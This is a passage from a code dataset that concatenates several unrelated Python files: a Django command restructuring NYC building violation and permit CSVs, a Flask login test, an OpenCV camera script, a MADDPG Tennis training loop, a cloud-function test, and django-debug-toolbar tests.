f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\trespondents = csv.writer(landlord_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(isn_dob_bis_extract0, ecb_violation_number1, ecb_violation_status2, dob_violation_number3, building_id4, boro5, block6, lot7, hearing_date8, hearing_time9, served_date10, issue_date11, severity12, violation_type13, respondent_name14, respondent_house_number15, respondent_street16, respondent_city17, respondent_zip18, violation_description19, penalty_imposed20, amount_paid21, balance_due22, infraction_code23, section_law_description24, blank25, blank26, blank27, blank28, blank29, blank30, blank31, blank32, blank33, blank34, blank35, blank36, blank37, blank38, blank39, blank40, blank41, blank42, aggravated_level43, hearing_status44, certification_status45) = row\n\t\t\tbuilding_id = str(row[4]).strip()\n\t\t\tboro = str(row[5]).strip()\n\t\t\tblock = str(row[6]).strip()\n\t\t\tlot = str(row[7]).strip()\n\t\t\tviolation_number = str(row[1]).strip()\n\t\t\trespondent_name = str(row[14]).strip()\n\t\t\trespondent_house_number = str(row[15]).strip()\n\t\t\trespondent_street = str(row[16]).strip()\n\t\t\trespondent_zip = str(row[18]).strip()\n\t\t\trespondent_row = (building_id, respondent_name, respondent_house_number, respondent_street, respondent_zip)\n\t\t\trespondents.writerow(respondent_row)\n\t\t\tdob_violation_number = str(row[3]).strip()\n\t\t\thearing_date = str(row[8]).strip()\n\t\t\thearing_status = str(row[44]).strip()\n\t\t\tviolation_description = str(row[19]).strip()\n\t\t\tsection_law_description = str(row[24]).strip()\n\t\t\tseverity = str(row[12]).strip()\n\t\t\tpenalty_imposed = str(row[20]).strip()\n\t\t\tamount_paid = str(row[21]).strip()\n\t\t\tbalance_due = str(row[22]).strip()\n\t\t\tviolation_type = str(row[13]).strip()\n\t\t\tissue_date = str(row[11]).strip()\n\t\t\tissue_year = issue_date[:4]\n\t\t\tissue_month = issue_date[4:6]\n\t\t\thouse_number='NA'\n\t\t\tstreetname='NA'\n\t\t\tzip_code='NA'\n\t\t\tborough='NA'\n\t\t\tcommunity_board='NA'\n\t\t\tnew_row = (building_id, boro+block+lot, issue_date, issue_year, issue_month, violation_description, severity, penalty_imposed, amount_paid, balance_due, violation_type, violation_number, dob_violation_number, hearing_date, hearing_status, respondent_name)\n\t\t\twriter.writerow(new_row)\t\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\ndef process_dob_violations(file_name, new_file_name):\n\tcount = 0\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(col0, boro1, building_id2, block3, lot4, issue_date5, viol_type_code6, violation_number7, house_number8, street9, disposition_date10, disp_comments11, device_number12, description13, ecb_number14, number15, violation_category16, violation_type17) = row\n\t\t\tbuilding_id = str(row[2]).strip()\n\t\t\thouse_number = str(row[8]).strip()\n\t\t\tstreetname = str(row[9]).strip()\n\t\t\tzip_code = 'NA'\n\t\t\tboro = str(row[1]).strip()\n\t\t\tblock = str(row[3]).strip()\n\t\t\tlot = str(row[4]).strip()\n\t\t\tboroughs = ['MANHATTAN', 'BRONX', 'BROOKLYN', 'QUEENS', 'STATEN ISLAND']\n\t\t\ttry:\n\t\t\t\tborough = boroughs[int(boro) - 1]\n\t\t\texcept ValueError:\n\t\t\t\tborough = 'NA'\n\t\t\t\tpass\n\t\t\ttry:\n\t\t\t\taddress_list = (house_number, streetname, boro)\n\t\t\t\t#address_row = (building_id, address)\n\t\t\t\taddresses.writerow(address_list)\n\t\t\texcept TypeError:\n\t\t\t\tpass\n\t\t\tdob_violation_number = str(row[7]).strip()\n\t\t\tviolation_type_code = str(row[6]).strip()\n\t\t\tviolation_category = str(row[16]).strip()\n\t\t\tissue_date = str(row[5]).strip()\n\t\t\tissue_year = issue_date[:4]\n\t\t\tissue_month = issue_date[4:6]\n\t\t\tissue_day = issue_date[6:8]\n\t\t\tdescription = str(row[13]).strip()\n\t\t\tcommunity_board = 'NA'\n\t\t\tnew_row = (issue_date, building_id, house_number, streetname, borough, dob_violation_number, boro+block+lot, violation_type_code, violation_category, issue_year, issue_month, description)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\ndef process_dob_complaints(file_name, new_file_name):\n\tcount = 0\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(complaint_number0, status1, date_entered2, house_number3, house_street4, building_id5, community_board6, special_district7, complaint_category8, unit9, disposition_date10, disposition_code11, inspection_date12, dob_run_date13) = row\n\t\t\tbuilding_id = str(row[5]).strip()\n\t\t\thouse_number = str(row[3]).strip()\n\t\t\tstreetname = str(row[4]).strip()\n\t\t\tzip_code = 'NA'\n\t\t\tborough='NA'\n\t\t\tboro='NA'\n\t\t\tblock='NA'\n\t\t\tlot='NA'\n\t\t\tcommunity_board = str(row[6]).strip()\n\t\t\tcomplaint_category_number = str(row[8]).strip()\n\t\t\tcomplaint_number = str(row[0]).strip()\n\t\t\tdate_entered = str(row[13]).strip()\n\t\t\tmonth_entered = date_entered[:2]\n\t\t\tday_entered = date_entered[3:5]\n\t\t\tyear_entered = date_entered[6:10]\n\t\t\tinspection_date =str(row[12]).strip()\n\t\t\tunit = str(row[9]).strip()\n\t\t\tnew_row = (date_entered, building_id, complaint_category_number, complaint_number, month_entered, year_entered, house_number, streetname, inspection_date, unit)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\ndef process_dob_work_permits(file_name, new_file_name):\n\t\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\t#next(reader_object)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\t\t\n\t\t\ttry:\t\t\n\t\t\t\t(borough0, building_id1, house_number2, street3, jobnumber4, jobdocnumber5, jobtype6, self_cert7, block8, lot9, community_board10, zip_code11, bldg_type12, residential13, special_district114, special_district15, work_type16, permit_status17, filing_status18, permit_type19, permit_sequence_number20, permit_subtype21, oil_gas22, site_fill23, filing_date24, issuance_date25, expiration_date26, job_start_date27, permittee_first_name28, permittee_last_name29, permittee_business_name30, permittee_phone31, permittee_license_type32, permittee_license_number33, blank34, blank35, blank36, blank37, blank38, blank39, blank40, blank41, owner_bus_type42, non_profit43, owner_business_name44, owner_first_name45, owner_last_name46, owner_house_number47, owner_street_name48, owner_city49, owner_state50, owner_zip_code51, owner_phone52, dob_run_date53) = row\n\t\t\texcept ValueError:\n\t\t\t\tprint(row)\n\t\t\tbuilding_id = str(row[1]).strip()\n\t\t\tcommunity_board = str(row[10]).strip()\n\t\t\tborough = str(row[0]).strip()\n\t\t\tboroughs = ['MANHATTAN', 'BRONX', 'BROOKLYN', 'QUEENS', 'STATEN ISLAND']\n\t\t\ttry:\n\t\t\t\tboro = str(boroughs.index(borough) + 1)\n\t\t\texcept ValueError:\n\t\t\t\tboro = str(0)\n\t\t\t\tpass\n\t\t\thouse_number = str(row[2]).strip()\n\t\t\tstreetname = str(row[3]).strip()\n\t\t\tblock = str(row[8]).strip()\n\t\t\tlot = str(row[9]).strip()\n\t\t\tzip_code = str(row[11]).strip()\n\t\t\taddress_list = (str(row[2]).strip(), str(row[3]).strip(), str(row[0]).strip(), zip_code)\n\t\t\t#address_row = (building_id, address)\n\t\t\taddresses.writerow(address_list)\t\t\t\n\t\t\tdate_entered = str(row[25]).strip()\n\t\t\tmonth_entered = date_entered[:2]\n\t\t\tday_entered = date_entered[3:5]\n\t\t\tyear_entered = date_entered[6:10]\n\t\t\twork_type = str(row[16]).strip()\n\t\t\tpermit_license_type = str(row[19]).strip()\n\t\t\t\n\t\t\tpermit_filing_date = str(row[24]).strip()\n\t\t\tpermit_subtype = str(row[21]).strip()\n\t\t\tfiling_status = str(row[18]).strip()\n\t\t\texpiration_date = str(row[26]).strip()\n\t\t\tpermittees_business_name = str(row[30]).strip()\n\t\t\tjob_start_date = str(row[27]).strip()\n\t\t\tjob_number = str(row[4]).strip()\n\t\t\tnew_row = (date_entered, building_id, borough, house_number, streetname, boro+block+lot, year_entered, month_entered, zip_code, job_start_date, job_number, work_type, permit_license_type, permit_filing_date, permit_subtype, filing_status, expiration_date, permittees_business_name)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\n\ndef process_hpd_violations(file_name, new_file_name):\n\tcount = 0\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(violation_id0, building_id1, registration_id2, boro_id3, boro4, house_number5, lowhousenumber6, highhousenumber7, streetname8, streetcode9, zipcode10, apt_number11, story12, block13, lot14, class15, inspection_date16, approved_date17, originalcertifybydate18, originalcorrectbydate19, newcertifybydate20, newcorrectbydate21, certifieddate22, ordernumber23, novid24, novdescription25, novissuedate26, currentstatusid27, currentstatus28, currentstatusdate29) = row\n\t\t\thouse_number = str(row[5]).strip()\n\t\t\tstreetname = str(row[8]).strip()\n\t\t\tborough = str(row[4]).strip()\n\t\t\tzip_code = str(row[10]).strip()\n\t\t\tboro = str(row[3]).strip()\n\t\t\tblock = str(row[13]).strip()\n\t\t\tlot = str(row[14]).strip()\n\t\t\t#no building ID number so setting it to 00000 for now in addresses file\n\t\t\t#building_id = '0'\n\t\t\taddress_list = (house_number, streetname, borough, zip_code)\n\t\t\t#address_row = (building_id, address)\n\t\t\taddresses.writerow(address_list)\n\t\t\tcurrent_status = str(row[28]).strip()\n\t\t\tcurrent_status_date = str(row[29]).strip()\n\t\t\t#HPD-specific building ID\n\t\t\thpd_building_id = str(row[1]).strip()\n\t\t\tapartment_number = str(row[11]).strip()\n\t\t\tviolation_description = str(row[25]).strip()\n\t\t\tviolation_id = str(row[0]).strip()\n\t\t\tnotice_of_violation_id = str(row[24]).strip()\n\t\t\tnotice_of_violation_date = str(row[26]).strip()\n\t\t\tnov_month = notice_of_violation_date[:2]\n\t\t\tnov_day = notice_of_violation_date[3:5]\n\t\t\tnov_year = notice_of_violation_date[6:10]\n\t\t\tcommunity_board = 'NA'\n\t\t\tbuilding_id = 'NA'\n\t\t\tnew_row = (notice_of_violation_date, hpd_building_id, house_number, streetname, borough, community_board, boro+block+lot, zip_code, current_status, current_status_date, apartment_number, violation_description, violation_id, nov_month, nov_year, notice_of_violation_id)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\ndef process_hpd_complaints(file_name, new_file_name):\n\t\"\"\"HPD complaints are connected by foreign key complaint_id to HPD complaint problems dataset\n\t\"\"\"\n\tcount = 0\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(complaint_id0, building_id1, borough_id2, borough3, housenumber4, streetname5, zipcode6, block7, lot8, apt_number9, communityboard10, receiveddate11, statusid12, status13, statusdate14) = row\n\t\t\thouse_number = str(row[4]).strip()\n\t\t\tstreetname = str(row[5]).strip()\n\t\t\tborough = str(row[3]).strip()\n\t\t\tzip_code = str(row[6]).strip()\n\t\t\tboro = str(row[2]).strip()\n\t\t\tblock = str(row[7]).strip()\n\t\t\tlot = str(row[8]).strip()\n\t\t\t#no building ID number so setting it to 00000 for now in addresses file\n\t\t\tbuilding_id = 'NA'\n\t\t\taddress_list = (house_number, streetname, boro, zip_code)\n\t\t\t#address_row = (building_id, address)\n\t\t\taddresses.writerow(address_list)\n\t\t\thpd_building_id = str(row[1]).strip()\n\t\t\tcomplaint_id = str(row[0]).strip()\n\t\t\tapartment_number = str(row[9]).strip()\n\t\t\treceived_date = str(row[11]).strip()\n\t\t\treceived_month = received_date[:2]\n\t\t\tnov_day = received_date[3:5]\n\t\t\treceived_year = received_date[6:10]\n\t\t\tstatus = str(row[13]).strip()\n\t\t\tstatus_date = str(row[14]).strip()\n\t\t\tcommunity_board = str(row[10]).strip()\n\t\t\tzip_code = 'NA'\n\t\t\tnew_row = (received_date, complaint_id, hpd_building_id, boro+block+lot, house_number, streetname, zip_code, apartment_number, received_month, received_year, status, status_date)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + '/restructured_data/%s' % new_file_name\n\ndef hpd_complaint_problems_data(file_name, new_file_name):\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'addresses.csv', 'a') as address_write, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f, open(settings.ALL_DATA_DIR + 'buildings_data/' + 'building_list.csv', 'a') as building_write:\n\t\twriter = csv.writer(write_file)\n\t\taddresses = csv.writer(address_write)\n\t\treader_object = csv.reader(f)\n\t\tbuilding_writer = csv.writer(building_write)\n\t\tfor row in reader_object:\n\t\t\t(problem_id0, complaint_id1, unittypeid2, unittype3, spacetypeID4, spacetype5, typeID6, type7, majorcategoryID8, majorcategory9, minorcategory_id_10, minorcategory_11, code_id_12, code_13, status_id_14, status_15, status_date_16, status_description_17) = row\n\t\t\tmajor_category = str(row[9]).strip()\t\t\t\n\t\t\tcomplaint_id = str(row[1]).strip() \n\t\t\tproblem_id = str(row[0]).strip()\n\t\t\tunit_type = str(row[3]).strip()\n\t\t\tspace_type = str(row[4]).strip()\n\t\t\tminor_category = str(row[11]).strip()\n\t\t\thpd_code = str(row[13]).strip()\n\t\t\tstatus = str(row[15]).strip()\n\t\t\tstatus_date = str(row[16]).strip()\n\t\t\tviolation_issued = str(row[17]).strip()\n\t\t\tnew_row = (complaint_id, problem_id, unit_type, space_type, major_category, minor_category, hpd_code, status, status_date, violation_issued)\n\t\t\twriter.writerow(new_row)\n\treturn settings.ALL_DATA_DIR + 'opendata/restructured_data/%s' % new_file_name\n\n\ndef open_market_order_data(file_name, new_file_name):\n\twith open(settings.ALL_DATA_DIR + 'opendata/restructured_data/' + new_file_name,'w') as write_file, open(settings.ALL_DATA_DIR + 'opendata/' + file_name, 'r') as f:\n\t\twriter = csv.writer(write_file)\n\t\treader_object = csv.reader(f)\n\t\tnext(reader_object)\n\t\theader_row = ('omo_year', 'omo_month', 'building_id', 'bbl', 'borough', 'house_number', 'street_name', 'apartment', 'zip_code', 'omo_id', 'omo_number', 'work_type_general', 'omo_status_reason', 'omo_create_date', 'omo_description')\n\t\twriter.writerow(header_row)\n\t\tfor row in reader_object:\n\t\t\tomo_id = str(row[0]).strip()\n\t\t\tomo_number = str(row[1]).strip()\n\t\t\tbuilding_id = str(row[2]).strip()\n\t\t\tboro_id = str(row[3]).strip()\n\t\t\tblock = str(row[9]).strip()\n\t\t\tlot = str(row[10]).strip()\n\t\t\tborough = str(row[4]).strip()\n\t\t\thouse_number = str(row[5]).strip()\n\t\t\tstreet_name = str(row[6]).strip()\n\t\t\tapartment = str(row[7]).strip()\n\t\t\tzip_code = str(row[8]).strip()\n\t\t\twork_type_general = str(row[12]).strip()\n\t\t\tomo_status_reason = str(row[13]).strip()\n\t\t\tomo_create_date = str(row[15]).strip()\n\t\t\tomo_month = omo_create_date[:2]\n\t\t\tomo_day = omo_create_date[3:5]\n\t\t\tomo_year = omo_create_date[6:]\n\t\t\tomo_description = str(row[23]).strip()\n\t\t\tnew_row = (omo_year, omo_month, building_id, boro_id+block+lot, borough, house_number, street_name, apartment, zip_code, omo_id, omo_number, work_type_general, omo_status_reason, omo_create_date, omo_description)\n\t\t\twriter.writerow(new_row)\n\treturn\n\n\nclass Command(BaseCommand):\n\n\tdef handle(self, *args, **options):\n\t\t\"\"\"\n\t\tprint(\"processing HPD complaint problems data...\")\n\t\thpd_complaint_problems = hpd_complaint_problems_data('hpd_complaint_probs.csv', 'hpd_complaint_probs.csv')\n\t\tprint(\"processing HPD complaints data...\")\n\t\thpd_complaints = process_hpd_complaints('HPDcomplaints.csv', 'hpd_complaints.csv')\n\t\tprint(\"processing HPD violations data...\")\n\t\t\n\t\thpd_violations = process_hpd_violations('hpd_violations.csv', 'hpd_violations.csv')\n\t\tprint(\"processing DOB work permits data...\")\n\t\tdob_work_permits = process_dob_work_permits('DOB_Permit_Issuance.csv', 'work_permits.csv')\n\t\tprint(\"processing DOB Complaints data...\")\n\t\t\n\t\tdob_complaints = process_dob_complaints('DOB_Complaints_Received.csv', 'dob_complaints_received.csv')\n\t\tprint(\"processing DOB violations data...\")\n\t\tdob_violations = process_dob_violations('DOB_Violations.csv', 'dob_violations.csv')\n\t\tprint(\"processing DOB ECB violations data...\")\n\t\tecb_violations = process_ecb_violations('DOB_ECB_Violations.csv', 'dob_ecb_violations.csv')\n\t\tprint(\"processing Handyman Work Order data...\")\n\t\thwos = process_handyman_work_order('hwo.csv', 'handymanWO.csv')\n\t\t\"\"\"\n\t\towos = open_market_order_data('OpenMarketOrderCharges.csv', 'omo.csv')\n\n","sub_path":"analysis/management/commands/all_datasets.py","file_name":"all_datasets.py","file_ext":"py","file_size_in_byte":20839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"322275744","text":"#!venv/bin/python\nimport os\nimport unittest\n\nfrom config import basedir\nfrom app import app, db\nfrom app.models import User\n\n\nclass TestCase(unittest.TestCase):\n def setUp(self):\n app.config['TESTING'] = True\n app.config['CSRF_ENABLED'] = False\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'test.db')\n self.app = app.test_client()\n db.create_all()\n\n def tearDown(self):\n db.session.remove()\n db.drop_all()\n\n def test_login(self):\n u1 = User(login='adm18@bank.srv', username='adm18')\n db.session.add(u1)\n db.session.commit()\n u2 = User(login='alecx@bank.srv', username='lol')\n\n User.query.filter_by(login=u1.login).first()\n assert User.query.filter_by(login=u1.login).first().id == 1\n assert User.query.filter_by(login=u2.login).first() is None\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"90464920","text":"import threading\nimport cv2\nimport os\n\n# Define the thread that will continuously pull frames from the camera\nclass CameraBufferCleanerThread(threading.Thread):\n def __init__(self, camera, name='camera-buffer-cleaner-thread'):\n self.camera = camera\n self.last_frame = None\n super(CameraBufferCleanerThread, self).__init__(name=name)\n self.start()\n\n def run(self):\n while True:\n ret, self.last_frame = self.camera.read()\n\n# Start the camera\ncamera = cv2.VideoCapture(0)\ncamera.set(3,800)\ncamera.set(4,600)\n# Start the cleaning thread\ncam_cleaner = CameraBufferCleanerThread(camera)\ncount = 0\n\n# Use the frame whenever you want\nwhile True:\n if cam_cleaner.last_frame is not None:\n cv2.imshow('The last frame', cam_cleaner.last_frame)\n \n if cv2.waitKey(30) == ord('s'):\n if cam_cleaner.last_frame is not None:\n image_np = cam_cleaner.last_frame\n else:\n ret, image_np = camera.read()\n \n name = 'measure' + str(count) +'.jpg'\n path = '/home/tan/objectTrackingpic/measure/'\n cv2.imwrite(os.path.join(path,name),image_np)\n count += 1\n print('save')\n\n if cv2.waitKey(25) == ord('a'):\n break\n\n\ncv2.destroyAllWindows()\ncamera.release()\n\n","sub_path":"object_tracking/camera_take/scripts/v2.py","file_name":"v2.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"318595554","text":"from unityagents import UnityEnvironment\nimport numpy as np\nimport logging\n\n'''Adding the environment This is the start point for training'''\n\nenv = UnityEnvironment(file_name=\"Tennis_Windows_x86_64/Tennis.exe\")\n\nbrain_name = env.brain_names[0]\nbrain = env.brains[brain_name]\n\nenv_info = env.reset(train_mode=True)[brain_name]\nnum_agents = len(env_info.agents)\naction_size = brain.vector_action_space_size\nstates = env_info.vector_observations\nstate_size = states.shape[1]\n\nimport torch\nimport pickle\n\nfrom maddpg import MADDPG\n\nfrom collections import deque\nimport matplotlib.pyplot as plt\nimport time, os\n\nmaddpg = MADDPG(24, 2, 2, 1976)\nscores_max_hist = []\nscores_mean_hist = []\n\nlogger = logging.getLogger(__name__)\n\nf_handle = logging.FileHandler(\"Log_File.txt\")\nf_format = logging.Formatter('%(levelname)s: %(asctime)s %(message)s')\nf_handle.setFormatter(f_format)\nf_handle.setLevel(logging.INFO)\n\nlogger.addHandler(f_handle)\n\ndef maddpg_train(n_episodes=2500):\n\n scores_deque = deque(maxlen=100)\n solved = False\n\n for i_episode in range(n_episodes):\n env_info = env.reset(train_mode=True)[brain_name]\n state = env_info.vector_observations\n scores = np.zeros(num_agents)\n maddpg.reset()\n step = 0\n while True:\n step += 1\n action = maddpg.act(state, i_episode, add_noise=True)\n env_info = env.step(action)[brain_name]\n\n next_state = env_info.vector_observations\n reward = env_info.rewards\n done = env_info.local_done\n\n scores += reward\n\n maddpg.step(i_episode, state, action, reward, next_state, done)\n\n if np.any(done):\n break\n\n state = next_state\n\n score_max = np.max(scores)\n scores_deque.append(score_max)\n score_mean = np.mean(scores_deque)\n\n scores_max_hist.append(score_max)\n scores_mean_hist.append(score_mean)\n\n logger.info('Episode {}\\tAverage Score: {:.2f}'.format(i_episode, score_mean))\n if solved == False and score_mean >= 0.5:\n logger.info('Environment solved in {:d} episodes!\\tAverage Score: {:.2f}'.format(i_episode, score_mean))\n maddpg.save()\n solved = True\n\n if i_episode % 500 == 0:\n print()\n\nscores = maddpg_train()\n\nwith open('scores.data', 'wb') as filehandle:\n # store the data as binary data stream\n pickle.dump(scores, filehandle)\n\nenv.close()","sub_path":"p3-collabcontrol/Tennis.py","file_name":"Tennis.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"29101930","text":"import base64\nimport os\nimport requests\nimport re\n\n\ndef test_gcfunction_local(xprocess, localserver, nakaguma_image_path):\n with open(nakaguma_image_path, \"rb\") as f:\n dataurl = 'data:image/png;base64,' + base64.b64encode(f.read()).decode()\n\n # Send HTTP request simulating Pub/Sub message\n # (GCF translates Pub/Sub messages to HTTP requests internally)\n try:\n res = requests.post(\n 'http://127.0.0.1:8080',\n json={'image_url': dataurl}\n )\n res.raise_for_status()\n except Exception as e:\n logfile = open(xprocess.getinfo(localserver).logpath, 'r')\n error_data = os.read(logfile.fileno(), 20000).decode(\"utf-8\")\n print(error_data)\n raise e\n finally:\n xprocess.getinfo(localserver).terminate()\n res = res.json()\n\n # Check server response\n assert 'boxes' in res\n assert 'background' in res\n boxes = res['boxes']\n assert 'mask' in boxes['0']\n assert len(boxes['0']['mask']) > 100\n res = {id: {k: v for k, v in boxes[id].items() if k != 'mask'} for id in boxes}\n print('Boxes: ', boxes)\n assert '0' in boxes\n assert 'left' in boxes['0']\n assert 'top' in boxes['0']\n assert 'width' in boxes['0']\n assert 'height' in boxes['0']\n\n logfile = open(xprocess.getinfo(localserver).logpath, 'r')\n error_data = os.read(logfile.fileno(), 20000).decode(\"utf-8\")\n assert not re.search('Traceback', error_data)\n","sub_path":"test/test_gcfunction.py","file_name":"test_gcfunction.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"238856669","text":"# coding: utf-8\n\nfrom __future__ import absolute_import, unicode_literals\n\nimport os\nimport unittest\nfrom xml.etree import ElementTree as ET\n\nfrom django.contrib.staticfiles.testing import StaticLiveServerTestCase\nfrom django.test import RequestFactory, TestCase\nfrom django.test.utils import override_settings\n\nfrom debug_toolbar.middleware import DebugToolbarMiddleware, show_toolbar\n\nfrom .base import BaseTestCase\nfrom .views import regular_view\n\ntry:\n from selenium import webdriver\n from selenium.common.exceptions import NoSuchElementException\n from selenium.webdriver.support.wait import WebDriverWait\nexcept ImportError:\n webdriver = None\n\n\nrf = RequestFactory()\n\n\n@override_settings(DEBUG=True)\nclass DebugToolbarTestCase(BaseTestCase):\n\n def test_show_toolbar(self):\n self.assertTrue(show_toolbar(self.request))\n\n def test_show_toolbar_DEBUG(self):\n with self.settings(DEBUG=False):\n self.assertFalse(show_toolbar(self.request))\n\n def test_show_toolbar_INTERNAL_IPS(self):\n with self.settings(INTERNAL_IPS=[]):\n self.assertFalse(show_toolbar(self.request))\n\n def _resolve_stats(self, path):\n # takes stats from Request panel\n self.request.path = path\n panel = self.toolbar.get_panel_by_id('RequestPanel')\n panel.process_request(self.request)\n panel.process_response(self.request, self.response)\n panel.generate_stats(self.request, self.response)\n return panel.get_stats()\n\n def test_url_resolving_positional(self):\n stats = self._resolve_stats('/resolving1/a/b/')\n self.assertEqual(stats['view_urlname'], 'positional-resolving')\n self.assertEqual(stats['view_func'], 'tests.views.resolving_view')\n self.assertEqual(stats['view_args'], ('a', 'b'))\n self.assertEqual(stats['view_kwargs'], {})\n\n def test_url_resolving_named(self):\n stats = self._resolve_stats('/resolving2/a/b/')\n self.assertEqual(stats['view_args'], ())\n self.assertEqual(stats['view_kwargs'], {'arg1': 'a', 'arg2': 'b'})\n\n def test_url_resolving_mixed(self):\n stats = self._resolve_stats('/resolving3/a/')\n self.assertEqual(stats['view_args'], ('a',))\n self.assertEqual(stats['view_kwargs'], {'arg2': 'default'})\n\n def test_url_resolving_bad(self):\n stats = self._resolve_stats('/non-existing-url/')\n self.assertEqual(stats['view_urlname'], 'None')\n self.assertEqual(stats['view_args'], 'None')\n self.assertEqual(stats['view_kwargs'], 'None')\n self.assertEqual(stats['view_func'], '')\n\n # Django doesn't guarantee that process_request, process_view and\n # process_response always get called in this order.\n\n def test_middleware_view_only(self):\n DebugToolbarMiddleware().process_view(self.request, regular_view, ('title',), {})\n\n def test_middleware_response_only(self):\n DebugToolbarMiddleware().process_response(self.request, self.response)\n\n def test_middleware_response_insertion(self):\n resp = regular_view(self.request, \"İ\")\n DebugToolbarMiddleware().process_response(self.request, resp)\n # check toolbar insertion before \"